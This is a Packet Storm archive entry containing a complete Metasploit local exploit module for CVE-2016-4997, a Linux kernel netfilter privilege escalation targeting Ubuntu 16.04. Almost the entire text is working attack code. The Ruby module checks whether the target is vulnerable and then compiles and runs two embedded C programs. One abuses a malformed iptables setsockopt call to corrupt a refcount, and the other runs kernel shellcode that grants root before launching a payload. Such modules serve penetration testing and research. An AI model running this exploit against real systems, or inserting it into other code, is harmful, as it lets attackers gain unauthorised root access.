Linux Kernel 4.6.3 Netfilter Privilege Escalation

2016-09-27T00:00:00
ID PACKETSTORM:138854
Type packetstorm
Reporter h00die
Modified 2016-09-27T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require "msf/core"  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GoodRanking  
  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Linux Kernel 4.6.3 Netfilter Privilege Escalation',  
'Description' => %q{  
This module attempts to exploit a netfilter bug on Linux Kernels befoe 4.6.3, and currently  
only works against Ubuntu 16.04 (not 16.04.1) with kernel  
4.4.0-21-generic.  
Several conditions have to be met for successful exploitation:  
Ubuntu:  
1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such)  
2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora) needs to be installed to compile  
Kernel 4.4.0-31-generic and newer are not vulnerable.  
  
We write the ascii files and compile on target instead of locally since metasm bombs for not  
having cdefs.h (even if locally installed)  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'h00die <mike@stcyrsecurity.com>', # Module  
'vnik' # Discovery  
],  
'DisclosureDate' => 'Jun 03 2016',  
'Platform' => [ 'linux'],  
'Arch' => [ ARCH_X86 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' =>  
[  
[ 'Ubuntu', { } ]  
#[ 'Fedora', { } ]  
],  
'DefaultTarget' => 0,  
'References' =>  
[  
[ 'EDB', '40049'],  
[ 'CVE', '2016-4997'],  
[ 'URL', 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c']  
]  
))  
register_options(  
[  
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),  
OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]),  
OptBool.new('REEXPLOIT', [ true, 'desc already ran, no need to re-run, skip to running pwn',false]),  
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])  
], self.class)  
end  
  
def check  
def iptables_loaded?()  
# user@ubuntu:~$ cat /proc/modules | grep ip_tables  
# ip_tables 28672 1 iptable_filter, Live 0x0000000000000000  
# x_tables 36864 2 iptable_filter,ip_tables, Live 0x0000000000000000  
vprint_status('Checking if ip_tables is loaded in kernel')  
if target.name == "Ubuntu"  
iptables = cmd_exec('cat /proc/modules | grep ip_tables')  
if iptables.include?('ip_tables')  
vprint_good('ip_tables.ko is loaded')  
else  
print_error('ip_tables.ko is not loaded. root needs to run iptables -L or similar command')  
end  
return iptables.include?('ip_tables')  
elsif target.name == "Fedora"  
iptables = cmd_exec('cat /proc/modules | grep iptable_raw')  
if iptables.include?('iptable_raw')  
vprint_good('iptable_raw is loaded')  
else  
print_error('iptable_raw is not loaded. root needs to run iptables -L or similar command')  
end  
return iptables.include?('iptable_raw')  
else  
return false  
end  
end  
  
def shemsham_installed?()  
# we want this to be false.  
vprint_status('Checking if shem or sham are installed')  
shemsham = cmd_exec('cat /proc/cpuinfo')  
if shemsham.include?('shem')  
print_error('shem installed, system not vulnerable.')  
elsif shemsham.include?('sham')  
print_error('sham installed, system not vulnerable.')  
else  
vprint_good('shem and sham not present.')  
end  
return (shemsham.include?('shem') or shemsham.include?('sham'))  
end  
  
if iptables_loaded?() and not shemsham_installed?()  
return CheckCode::Appears  
else  
return CheckCode::Safe  
end  
end  
  
def exploit  
# first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version.  
def has_prereqs?()  
vprint_status('Checking if 32bit C libraries, gcc-multilib, and gcc are installed')  
if target.name == "Ubuntu"  
lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386')  
if lib.include?('install')  
vprint_good('libc6-dev-i386 is installed')  
else  
print_error('libc6-dev-i386 is not installed. Compiling will fail.')  
end  
multilib = cmd_exec('dpkg --get-selections | grep ^gcc-multilib')  
if multilib.include?('install')  
vprint_good('gcc-multilib is installed')  
else  
print_error('gcc-multilib is not installed. Compiling will fail.')  
end  
gcc = cmd_exec('which gcc')  
if gcc.include?('gcc')  
vprint_good('gcc is installed')  
else  
print_error('gcc is not installed. Compiling will fail.')  
end  
return gcc.include?('gcc') && lib.include?('install') && multilib.include?('install')  
elsif target.name == "Fedora"  
lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'')  
if lib.include?('glibc')  
vprint_good('glibc-devel.i686 is installed')  
else  
print_error('glibc-devel.i686 is not installed. Compiling will fail.')  
end  
if lib.include?('libgcc')  
vprint_good('libgcc.i686 is installed')  
else  
print_error('libgcc.i686 is not installed. Compiling will fail.')  
end  
multilib = false #not implemented  
gcc = false #not implemented  
return (lib.include?('glibc') && lib.include?('libgcc')) && gcc && multilib  
else  
return false  
end  
end  
  
compile = false  
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'  
if has_prereqs?()  
compile = true  
vprint_status('Live compiling exploit on system')  
else  
vprint_status('Dropping pre-compiled exploit on system')  
end  
end  
if check != CheckCode::Appears  
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')  
end  
  
desc_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)  
env_ready_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)  
pwn_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)  
payload_file = rand_text_alpha(8)  
payload_path = "#{datastore["WritableDir"]}/#{payload_file}"  
  
# direct copy of code from exploit-db, except removed the check for shem/sham and ip_tables.ko since we can do that in the check area here  
# removed #include <netinet/in.h> per busterb comment in PR 7326  
decr = %q{  
#define _GNU_SOURCE  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <unistd.h>  
#include <sched.h>  
#include <netinet/in.h>  
#include <linux/sched.h>  
#include <errno.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <sys/ptrace.h>  
#include <net/if.h>  
#include <linux/netfilter_ipv4/ip_tables.h>  
#include <linux/netlink.h>  
#include <fcntl.h>  
#include <sys/mman.h>  
  
#define MALLOC_SIZE 66*1024  
  
int decr(void *p) {  
int sock, optlen;  
int ret;  
void *data;  
struct ipt_replace *repl;  
struct ipt_entry *entry;  
struct xt_entry_match *ematch;  
struct xt_standard_target *target;  
unsigned i;  
  
sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);  
  
if (sock == -1) {  
perror("socket");  
return -1;  
}  
  
data = malloc(MALLOC_SIZE);  
  
if (data == NULL) {  
perror("malloc");  
return -1;  
}  
  
memset(data, 0, MALLOC_SIZE);  
  
repl = (struct ipt_replace *) data;  
repl->num_entries = 1;  
repl->num_counters = 1;  
repl->size = sizeof(*repl) + sizeof(*target) + 0xffff;  
repl->valid_hooks = 0;  
  
entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace));  
entry->target_offset = 74; // overwrite target_offset  
entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target);  
  
ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry));  
  
strcpy(ematch->u.user.name, "icmp");  
void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0);  
uint64_t *me = (uint64_t *)(kmatch + 0x58);  
*me = 0xffffffff821de10d; // magic number!  
  
uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4);  
*match = (uint32_t)kmatch;  
  
ematch->u.match_size = (short)0xffff;  
  
target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8);  
uint32_t *t = (uint32_t *)target;  
*t = (uint32_t)kmatch;  
  
printf("[!] Decrementing the refcount. This may take a while...\n");  
printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n");  
  
for (i = 0; i < 0xffffff/2+1; i++) {  
ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024);  
}  
  
close(sock);  
free(data);  
printf("[+] Done! Now run ./pwn\n");  
  
return 0;  
}  
  
int main(void) {  
void *stack;  
int ret;  
  
printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n");  
  
ret = unshare(CLONE_NEWUSER);  
  
if (ret == -1) {  
perror("unshare");  
return -1;  
}  
  
stack = (void *) malloc(65536);  
  
if (stack == NULL) {  
perror("malloc");  
return -1;  
}  
  
clone(decr, stack + 65536, CLONE_NEWNET, NULL);  
  
sleep(1);  
  
return 0;  
}  
}  
  
# direct copy of code from exploit-db  
pwn = %q{  
#include <stdio.h>  
#include <string.h>  
#include <errno.h>  
#include <unistd.h>  
#include <stdint.h>  
#include <fcntl.h>  
#include <sys/mman.h>  
#include <assert.h>  
  
#define MMAP_ADDR 0xff814e3000  
#define MMAP_OFFSET 0xb0  
  
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred);  
typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred);  
  
void __attribute__((regparm(3))) privesc() {  
commit_creds_fn commit_creds = (void *)0xffffffff810a21c0;  
prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0;  
commit_creds(prepare_kernel_cred((uint64_t)NULL));  
}  
  
int main() {  
void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0);  
assert(payload == (void *)MMAP_ADDR);  
  
void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET);  
  
memset(shellcode, 0, 0x300000);  
  
void *ret = memcpy(shellcode, &privesc, 0x300);  
assert(ret == shellcode);  
  
printf("[+] Escalating privs...\n");  
  
int fd = open("/dev/ptmx", O_RDWR);  
close(fd);  
  
assert(!getuid());  
  
printf("[+] We've got root!");  
  
return execl("/bin/bash", "-sh", NULL);  
}  
}  
  
# the original code printed a line. However, this is hard to detect due to threading.  
# so instead we can write a file in /tmp to catch.  
decr.gsub!(/printf\("\[\+\] Done\! Now run \.\/pwn\\n"\);/,  
"int fd2 = open(\"#{env_ready_file}\", O_RDWR|O_CREAT, 0777);close(fd2);" )  
  
# patch in to run our payload  
pwn.gsub!(/execl\("\/bin\/bash", "-sh", NULL\);/,  
"execl(\"#{payload_path}\", NULL);")  
  
def pwn(payload_path, pwn_file, pwn, compile)  
# lets write our payload since everythings set for priv esc  
vprint_status("Writing payload to #{payload_path}")  
write_file(payload_path, generate_payload_exe)  
cmd_exec("chmod 555 #{payload_path}")  
register_file_for_cleanup(payload_path)  
  
# now lets drop part 2, and finish up.  
rm_f pwn_file  
if compile  
print_status "Writing pwn executable to #{pwn_file}.c"  
rm_f "#{pwn_file}.c"  
write_file("#{pwn_file}.c", pwn)  
cmd_exec("gcc #{pwn_file}.c -O2 -o #{pwn_file}")  
register_file_for_cleanup("#{pwn_file}.c")  
else  
print_status "Writing pwn executable to #{pwn_file}"  
write_file(pwn_file, pwn)  
end  
register_file_for_cleanup(pwn_file)  
cmd_exec("chmod +x #{pwn_file}; #{pwn_file}")  
end  
  
if not compile # we need to override with our pre-created binary  
# pwn file  
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-pwn.out')  
fd = ::File.open( path, "rb")  
pwn = fd.read(fd.stat.size)  
fd.close  
# desc file  
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-decr.out')  
fd = ::File.open( path, "rb")  
decr = fd.read(fd.stat.size)  
fd.close  
  
# overwrite the hardcoded variable names in the compiled versions  
env_ready_file = '/tmp/okDjTFSS'  
payload_path = '/tmp/2016_4997_payload'  
end  
  
# check for shortcut  
if datastore['REEXPLOIT']  
pwn(payload_path, pwn_file, pwn, compile)  
else  
rm_f desc_file  
if compile  
print_status "Writing desc executable to #{desc_file}.c"  
rm_f "#{desc_file}.c"  
write_file("#{desc_file}.c", decr)  
register_file_for_cleanup("#{desc_file}.c")  
output = cmd_exec("gcc #{desc_file}.c -m32 -O2 -o #{desc_file}")  
else  
write_file(desc_file, decr)  
end  
rm_f env_ready_file  
register_file_for_cleanup(env_ready_file)  
#register_file_for_cleanup(desc_file)  
if not file_exist?(desc_file)  
vprint_error("gcc failure output: #{output}")  
fail_with(Failure::Unknown, "#{desc_file}.c failed to compile")  
end  
if target.name == "Ubuntu"  
vprint_status "Executing #{desc_file}, may take around 35s to finish. Watching for #{env_ready_file} to be created."  
elsif target.name == "Fedora"  
vprint_status "Executing #{desc_file}, may take around 80s to finish. Watching for #{env_ready_file} to be created."  
end  
cmd_exec("chmod +x #{desc_file}; #{desc_file}")  
sec_waited = 0  
  
until sec_waited > datastore['MAXWAIT'] do  
Rex.sleep(1)  
if sec_waited % 10 == 0  
vprint_status("Waited #{sec_waited}s so far")  
end  
  
if file_exist?(env_ready_file)  
print_good("desc finished, env ready.")  
pwn(payload_path, pwn_file, pwn, compile)  
return  
end  
sec_waited +=1  
end  
end  
end  
end  
`